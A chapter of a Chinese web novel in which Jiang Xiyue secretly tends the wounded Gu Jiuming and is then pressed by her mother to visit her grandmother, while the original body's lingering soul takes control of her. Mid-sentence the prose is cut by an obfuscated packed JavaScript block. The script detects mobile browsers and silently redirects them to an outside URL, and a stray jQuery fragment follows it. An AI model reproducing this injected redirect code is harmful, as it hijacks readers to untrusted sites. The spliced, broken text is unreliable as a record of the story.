督查司后院,疾风下令撤了不少暗卫,公子说不能暴露他受伤一事,布控依旧按往常的样子布置下去。
屋内,翁达替顾九溟重新换过药,在他嘴里放了半截老参让他含着,然后转身回厅堂将昨夜搜罗来的药材用金秤一一称过药量,放在纯铜罐里细细捣碎,最后小心翼翼地捧着走到后面去煎药。
他刚关上门,就有个娇小的身影蹑手蹑脚从门后闪出来,她走到内室掀开床帘,望着塌上的男子,瓷白脸上秀气的眉毛和她的心一样,紧紧揪了起来。
他在她眼中向来风姿绝代,如谪仙般俊美,又干净得纤尘不染,可如今呢,苍白的面庞上沁出汗珠,身上的衣衫染血,触目惊心的伤口被纱布紧紧裹着,一呼一吸间,他俊眉轻颤,好像在强忍着难言的痛苦。
大概他不想让自己这样狼狈的一面被她看到,才故意让人隐瞒她的吧,她瞬间就不气了,取而代之的是隐隐的心疼与后怕。
洁白的素手拂过他的面颊,探了探温度,又将他的手轻轻握起给他把了脉,他脉象虚弱,果然伤得不轻。
她将他的衣襟掀开,仔细检查了伤口,所幸没有伤在要害,只是失血过多,若不是他身体底子好,换了常人以这样的失血量,恐怕早已扛不住了。
虽不知他是怎么受的伤,但有一点可以肯定,那日他必定强撑了很久才倒下,否则不至于流了那么多血。
他身上到底发生了什么?为何有人敢对督查司下手!
按下心中疑问,她又仔细查探医工给他用的药,几不可闻地摇了摇头,心中不甚赞同,这医工用药过于小心,若是换了她阿爹来看,肯定不会这么给药。
她从怀中摸出一个青色瓷瓶,从里面倒出一颗药,小心撬开他的嘴,放了进去。
看他喉疾滚动将药咽下,原本殷红完美的唇瓣,此刻泛起病弱的苍白,她心疼不已,抬手抚上了他的唇。
他的唇和他的人一样,看似冷淡肃静,实则温暖柔软,她洁白的手指在他唇间来回临摹,想起初遇至今他对自己的种种维护,心里涌起阵阵柔情。
她握住他的手放在自己脸上感受,他的手掌宽大有力,指节分明修长干净,宛如通透莹润的白玉。
几乎没有多想,她将一个吻小心翼翼地印在他的手心。
今日之事就暂且原谅你,等你病好了再同你算账,她支着头含情脉脉的想,他的手掌微微发颤,原本冰冷的手心渐渐有了温度。
门口忽然传来响动,她一惊,迅速起身躲在了床帘内,翁达用手肘推门,端着滚烫的汤药走进来,他将药放在桌上时不小心碰翻了药罐,捣好的草药洒了一地。
他暗道一声可惜,忙蹲下去收拾,江希月趁机从他身后经过,通过敞开的大门走了出去。
翁达好容易收拾完,赶紧端着药走入内室,却发现世子的手露在了外面。
他心下诧异,将他的手重新塞回被窝,手指不小心触到了他的脉搏,“咦——”他奇道,又给顾九溟仔细把了一次脉,这下他的眉头皱得更紧了,怎么才一会儿的功夫,世子亏空的身体似乎缓过来不少。
他疑惑地看了看四周,又在内室检查了一番,最后在床榻边找到了一个青色的瓷瓶,他打开瓶塞闻了一下,脸上露出若有所思的表情。
*
等江希月再回到马车上,竹影已经等候多时,她抱着剑问她:“你去哪儿了?”
“果铺子啊!”她一副什么也没发生的样子。
“是吗!那你买什么了?”竹影挑眉。
“我原想买樱桃毕罗来着,可一进去发现身上没带钱,只好回来了,倒是你,怎么不在马车上等我。”她反问。
竹影眯起眼看她,恨道:“那倒是我的不是了,今日就这么算了,但你下回可要记住了,不许再跑那么快了。”
江希月挑衅地回视她,心道,你若再和他们一起骗我,我还跑。
*
马车停在了将军府外,江希月刚下车,就有个眼生的丫鬟迎了上来,对着她恭敬行了个万福礼,脆生生道:“江二小姐,夫人有请。”
江希月和竹影对视一眼,母亲想见她,这又是唱得哪出鸿门宴?
她今日劳累一天,又忧心顾九溟的伤,心里本不想去,可原主的母亲难得请她一次,还特意派人在此蹲守,想必是有大事,不去怕是不太好,只得无奈应了下来。
先去看看再说。
那丫鬟在前头带路,一路穿林过桥,领着她们走进了盛夫人所在的望春园。
丫鬟请她们在望春园正厅里候着,江希月也不客气,挑了个上首的交椅直接坐下,竹影立在她身后,两人心中各有所想,不住向外东张西望。
江希月环顾四周,内心有种说不出来的情绪,这里对她来说,感觉是既熟悉又陌生,原主刚生下来就被抱到了老夫人院里,又在那儿长到了六岁,要说六岁之前来过几次亲生母亲的院子,一只手也能数清。
很快盛夫人就从外走了进来,这次脸上没有明显的嫌恶之色,相反倒有些陌生的亲切感,李嬷嬷紧跟在她身后,表情里有种说不出的意味。
江希月想起礼数,草草起身行礼,随后马上又坐了回去,她双眼直视,定定看着她俩,不知今天又会有多少责难的话要从这两张嘴里说出来。
奇怪的是盛夫人却一直没开口,她用一种遗憾又陌生的眼光看她,看了许久,直看到江希月都忍不住要起身告辞了,她才悠悠道:
“今年过年,你满了十六了吧。”
江希月愣了一下,直言道:“除夕前就满了。”
盛夫人:“你长这么大,都是自己过生辰,辛苦你了。”
江希月心底有些异样的感觉,似乎很不习惯她突如其来的示好,遂皱眉道:“何止,及笄礼也是我自己在院里行的。”
盛夫人一噎,脸上多了三分讥讽:“你是个厉害的孩子,自小也不用我操心。”
“所以,将来的路,也要靠你自己去走。”
这话说得奇怪,江希月
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986227|151922||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉得盛夫人话中有话,却一时想不明白,这时听盛夫人又说:
“明日你就不要去上值了,我替你去那个什么司告一天假。”
江希月心想这怎么行,她刚要开口反驳,盛夫人却不让她说话,急急道:“明日是你外祖母生辰,她听说你的病好了,特意要见你。”
江希月心中发懵,一桩往事倏地如电光火石般击中了她,回忆如零星的片段,帧帧画面纷沓而来。
画面里是她很小的时候,那天她在外祖家,和许多同辈的孩子们一起围着外祖母说话,轮到她的时候,她支支吾吾一句吉祥话也说不上来,其他孩子顿时哄堂大笑,大人们也在嘲笑她,还有人暗地里喊她怪物,她委屈地看向外祖母,可外祖母眼里全是嫌弃。
她哭着跑出去,又跑进园子,却不小心一头撞进了谁的怀里,再抬头就看见了外祖父铁青的脸,他严肃地批评她,说她没有规矩,不像盛家的孩子,然后喊来一个丫鬟把她带了下去。
谁知那丫鬟不是个好的,也同别人一样想看她笑话,她趁没人注意就把她推到了冰冷湖水里,她在水下挣扎呼喊,亲眼看见那水里有许多的水鬼向她游过来,要找她做替身。
她拼命蹬腿,喊得嗓子都快破了才被人救了上来,她吓得惊声尖叫,在岸边向得到消息走来看的大人们哭诉水底的遭遇,外祖母却叫人捂住她的嘴把她关了起来。
记得那天很热闹,府里来了很多客人,花厅里摆了一桌又一桌筵席,可她却饿着肚子被反锁在屋子里,连身上的湿衣服也没人给她换下来。
她一直哭一直哭,哭得睡着了,等第二日回了将军府就开始发烧,那时祖母气得发誓再也不让她去盛家了。
“我不去......”江希月斩钉截铁地说,可诡异的是话到了嘴边,却生生变成了:
“我去。”
她捂了捂嘴,眼神惊诧,盛夫人却根本没发现她的异常,她微微点头笑道,“这就对了。”
“你有好多年没看到外祖母了,明日可要好好表现,别失了礼数。”
江希月拼命想摇头,想说不愿去,可喉咙被给堵住了,一个字也说不出来,不仅如此,整个身子都像是被人定住了,完全不属于自己。
她慌忙中只得掩了神色,心中已有几分明白,此刻她的身子已被原主操控,她现在感受到的所有情绪也都是原主的。
早在那日与小春斗法后,她就感到原主的魂魄并没有走全,似乎还留了一些在她身上。
平日里她轻易不会出来,可不知为何今日她的情绪波动得厉害,想必是盛夫人的话触动了她的伤心事。
她想再去一次外祖家,去一次那个曾经在她小时候深深受过伤害的地方。
或许她内心深处一直想弄清楚,究竟是为何,自己的亲生母亲和外祖母,根本就不喜欢她的原因。
盛夫人见她不言语,直接一锤定音安排好了明日出行的一应事情,江希月不敢再多逗留,胡乱答应了几句,也就匆匆离开了。